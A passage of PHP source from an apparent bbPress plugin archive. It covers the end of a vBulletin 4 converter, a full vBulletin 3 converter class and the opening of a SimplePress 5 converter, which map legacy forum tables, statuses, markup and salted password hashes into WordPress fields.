			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User AIM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'aim',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_vbulletin_user_aim'
		);

		// User Yahoo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'yahoo',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_vbulletin_user_yim'
		);

		// User ICQ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'icq',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_vbulletin_user_icq'
		);

		// User MSN (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'msn',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_vbulletin_user_msn'
		);

		// User Skype (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'skype',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_vbulletin_user_skype'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}


	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 *
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ) . $pass_array['salt'] ) );
	}

	/**
	 * Translate the forum type from vBulletin v4.x numerics to WordPress's strings.
	 *
	 * @param int $status vBulletin v4.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 0 ) {
		if ( $status == -1 ) {
			$status = 'category';
		} else {
			$status = 'forum';
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from vBulletin v4.x numerics to WordPress's strings.
	 *
	 * @param int $status vBulletin v4.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 2 :
				$status = 'super-sticky'; // vBulletin Super Sticky 'sticky = 2'
				break;

			case 1 :
				$status = 'sticky';       // vBulletin Sticky 'sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // vBulletin Normal Topic 'sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic reply count.
	 *
	 * @param int $count vBulletin v4.x reply count
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

	/**
	 * Translate the post status from vBulletin numerics to WordPress's strings.
	 *
	 * @param int $status vBulletin v4.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 1 ) {
		switch ( $status ) {
			case 0 :
				$status = 'closed';
				break;

			case 1  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * This callback processes any custom parser.php attributes and custom code with preg_replace
	 */
	protected function callback_html( $field ) {

		// Strips vBulletin custom HTML first from $field before parsing $field to parser.php
		$vbulletin_markup = $field;
		$vbulletin_markup = html_entity_decode( $vbulletin_markup );

		// Replace '[QUOTE]' with '<blockquote>'
		$vbulletin_markup = preg_replace( '/\[QUOTE\]/', '<blockquote>', $vbulletin_markup );
		// Replace '[QUOTE=User Name($1);PostID($2)]' with '<em>@$1 $2 wrote:</em><blockquote>"
		$vbulletin_markup = preg_replace( '/\[QUOTE=(.*?);(.*?)\]/', '<em>@$1 $2 wrote:</em><blockquote>', $vbulletin_markup );
		// Replace '[/QUOTE]' with '</blockquote>'
		$vbulletin_markup = preg_replace( '/\[\/QUOTE\]/', '</blockquote>', $vbulletin_markup );
		// Replace '[MENTION=###($1)]User Name($2)[/MENTION]' with '@$2"
		$vbulletin_markup = preg_replace( '/\[MENTION=(.*?)\](.*?)\[\/MENTION\]/', '@$2', $vbulletin_markup );

		// Replace '[video=youtube;$1]$2[/video]' with '$2"
		$vbulletin_markup = preg_replace( '/\[video\=youtube;(.*?)\](.*?)\[\/video\]/', '$2', $vbulletin_markup );
		// Replace '[video=youtube_share;$1]$2[/video]' with '$2"
		$vbulletin_markup = preg_replace( '/\[video\=youtube_share;(.*?)\](.*?)\[\/video\]/', '$2', $vbulletin_markup );

		// Now that vBulletin custom HTML has been stripped put the cleaned HTML back in $field
		$field = $vbulletin_markup;

		// Parse out any bbCodes in $field with the BBCode 'parser.php'
		return parent::callback_html( $field );
	}
}
includes/admin/converters/vBulletin3.php000066600000053031151771460310014407 0ustar00<?php

/**
 * bbPress vBulletin 3.x Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of vBulletin v3.x Converter.
 *
 * @since 2.5.0 bbPress (r5151)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/vbulletin
 */
class vBulletin3 extends BBP_Converter_Base {

	/**
	 * Main constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'forumid',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'parentid',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'threadcount',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'replycount',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Includes unpublished topics, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'threadcount',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_topic_count'
		);

		// Forum total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'replycount',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'title',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid confilcts)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'title_clean',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'displayorder',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = -1 or Forum > 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'parentid',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date( 'Y-m-d H:i:s' )
		);
		$this->field_map[]	 = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date( 'Y-m-d H:i:s' )
		);
		$this->field_map[]	 = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date( 'Y-m-d H:i:s' )
		);
		$this->field_map[]	 = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date( 'Y-m-d H:i:s' )
		);

		/** Forum Subscriptions Section ***************************************/

		// Subscribed forum ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscribeforum',
			'from_fieldname'  => 'forumid',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => '_bbp_forum_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscribeforum',
			'from_fieldname'  => 'userid',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'thread',
			'from_fieldname' => 'threadid',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'forumid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'replycount',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'replycount',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'postuserid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'postusername',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_author_name_id'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'postuserid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic Author ip (Stored in postmeta)
		// Note: We join the 'post' table because 'thread' table does not include topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'ipaddress',
			'join_tablename'  => 'thread',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (threadid) WHERE post.parentid = 0',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'thread',
			'from_fieldname' => 'title',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'title',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'forumid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic content.
		// Note: We join the 'post' table because 'thread' table does not include topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'pagetext',
			'join_tablename'  => 'thread',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (threadid) WHERE post.parentid = 0',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic status (Open or Closed)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'open',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'sticky',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename' => 'thread',
			'from_fieldname' => 'lastpost',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		/** Tags Section ******************************************************/

		// Topic id.
		$this->field_map[] = array(
			'from_tablename'  => 'tagthread',
			'from_fieldname'  => 'threadid',
			'to_type'         => 'tags',
			'to_fieldname'    => 'objectid',
			'callback_method' => 'callback_topicid'
		);

		// Taxonomy ID.
		$this->field_map[] = array(
			'from_tablename'  => 'tagthread',
			'from_fieldname'  => 'tagid',
			'to_type'         => 'tags',
			'to_fieldname'    => 'taxonomy'
		);

		// Term text.
		$this->field_map[] = array(
			'from_tablename'  => 'tag',
			'from_fieldname'  => 'tagtext',
			'join_tablename'  => 'tagthread',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tagid)',
			'to_type'         => 'tags',
			'to_fieldname'    => 'name'
		);

		// Term slug.
		$this->field_map[] = array(
			'from_tablename'  => 'tag',
			'from_fieldname'  => 'tagtext',
			'join_tablename'  => 'tagthread',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tagid)',
			'to_type'         => 'tags',
			'to_fieldname'    => 'slug',
			'callback_method' => 'callback_slug'
		);

		/** Topic Subscriptions Section ***************************************/

		// Subscribed topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscribethread',
			'from_fieldname'  => 'threadid',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => '_bbp_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscribethread',
			'from_fieldname'  => 'userid',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'postid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'threadid',
			'from_expression' => 'WHERE parentid != 0',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'threadid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'post',
			'from_fieldname' => 'ipaddress',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'userid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'username',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_author_name_id'
		);

		// Is the reply anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'userid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'pagetext',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'threadid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[]	 = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'userid',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'salt',
			'to_type'        => 'user',
			'to_fieldname'   => ''
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'user',
			'to_fieldname' => '_bbp_class',
			'default'      => 'vBulletin3'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'homepage',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'joindate',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User AIM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'aim',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_vbulletin3_user_aim'
		);

		// User Yahoo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'yahoo',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_vbulletin3_user_yim'
		);

		// User ICQ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'icq',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_vbulletin3_user_icq'
		);

		// User MSN (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'msn',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_vbulletin3_user_msn'
		);

		// User Skype (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'skype',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_vbulletin3_user_skype'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}


	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash'	 => $field, 'salt'	 => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 *
	 * vBulletin passwords do not work. Maybe use the below plugin's approach?
	 *
	 * @link https://wordpress.org/extend/plugins/vb-user-copy/
	 * @link https://plugins.trac.wordpress.org/browser/vb-user-copy/trunk/vb_user_copy.php
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ) . $pass_array['salt'] ) );
	}

	/**
	 * Translate the forum type from vBulletin v3.x numerics to WordPress's strings.
	 *
	 * @param int $status vBulletin v3.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 0 ) {
		if ( $status == -1 ) {
			$status = 'category';
		} else {
			$status = 'forum';
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from vBulletin v3.x numerics to WordPress's strings.
	 *
	 * @param int $status vBulletin v3.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // vBulletin Sticky 'topic_sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // vBulletin Normal Topic 'topic_sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic reply count.
	 *
	 * @param int $count vBulletin v3.x reply count
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

	/**
	 * Translate the post status from vBulletin v3.x numerics to WordPress's strings.
	 *
	 * @param int $status vBulletin v3.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 1 ) {
		switch ( $status ) {
			case 0 :
				$status = 'closed';
				break;

			case 1  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * This callback processes any custom parser.php attributes and custom code with preg_replace
	 */
	protected function callback_html( $field ) {

		// Strips vBulletin custom HTML first from $field before parsing $field to parser.php
		$vbulletin_markup = $field;
		$vbulletin_markup = html_entity_decode( $vbulletin_markup );

		// Replace '[QUOTE]' with '<blockquote>'
		$vbulletin_markup = preg_replace( '/\[QUOTE\]/', '<blockquote>', $vbulletin_markup );
		// Replace '[QUOTE=User Name($1);PostID($2)]' with '<em>@$1 $2 wrote:</em><blockquote>"
		$vbulletin_markup = preg_replace( '/\[QUOTE=(.*?);(.*?)\]/' , '<em>@$1 $2 wrote:</em><blockquote>', $vbulletin_markup );
		// Replace '[/QUOTE]' with '</blockquote>'
		$vbulletin_markup = preg_replace( '/\[\/QUOTE\]/', '</blockquote>', $vbulletin_markup );
		// Replace '[MENTION=###($1)]User Name($2)[/MENTION]' with '@$2"
		$vbulletin_markup = preg_replace( '/\[MENTION=(.*?)\](.*?)\[\/MENTION\]/', '@$2', $vbulletin_markup );

		// Replace '[video=youtube;$1]$2[/video]' with '$2"
		$vbulletin_markup = preg_replace( '/\[video\=youtube;(.*?)\](.*?)\[\/video\]/', '$2', $vbulletin_markup );

		// Now that vBulletin custom HTML has been stripped put the cleaned HTML back in $field
		$field = $vbulletin_markup;

		// Parse out any bbCodes in $field with the BBCode 'parser.php'
		return parent::callback_html( $field );
	}
}
includes/admin/converters/SimplePress5.php000066600000044776151771460310014733 0ustar00<?php

/**
 * bbPress SimplePress5 Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of SimplePress v5 converter.
 *
 * @since 2.3.0 bbPress (r4638)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/simplepress/
 */
class SimplePress5 extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'sfforums',
			'from_fieldname' => 'forum_id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'sfforums',
			'from_fieldname' => 'parent',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'sfforums',
			'from_fieldname' => 'topic_count',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'sfforums',
			'from_fieldname' => 'post_count',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'sfforums',
			'from_fieldname' => 'topic_count',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'sfforums',
			'from_fieldname' => 'post_count',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'sfforums',
			'from_fieldname' => 'forum_name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'sfforums',
			'from_fieldname'  => 'forum_name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'sfforums',
			'from_fieldname'  => 'forum_desc',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'sfforums',
			'from_fieldname' => 'forum_seq',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Set a default value 'forum', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_forum_type',
			'default'      => 'forum'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forums',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forums',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forums',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forums',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'sftopics',
			'from_fieldname' => 'topic_id',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'sftopics',
			'from_fieldname' => 'post_count',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'poster_ip',
			'join_tablename'  => 'sftopics',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (topic_id) WHERE sfposts.post_index = 1',
			'to_type'         => 'topic',
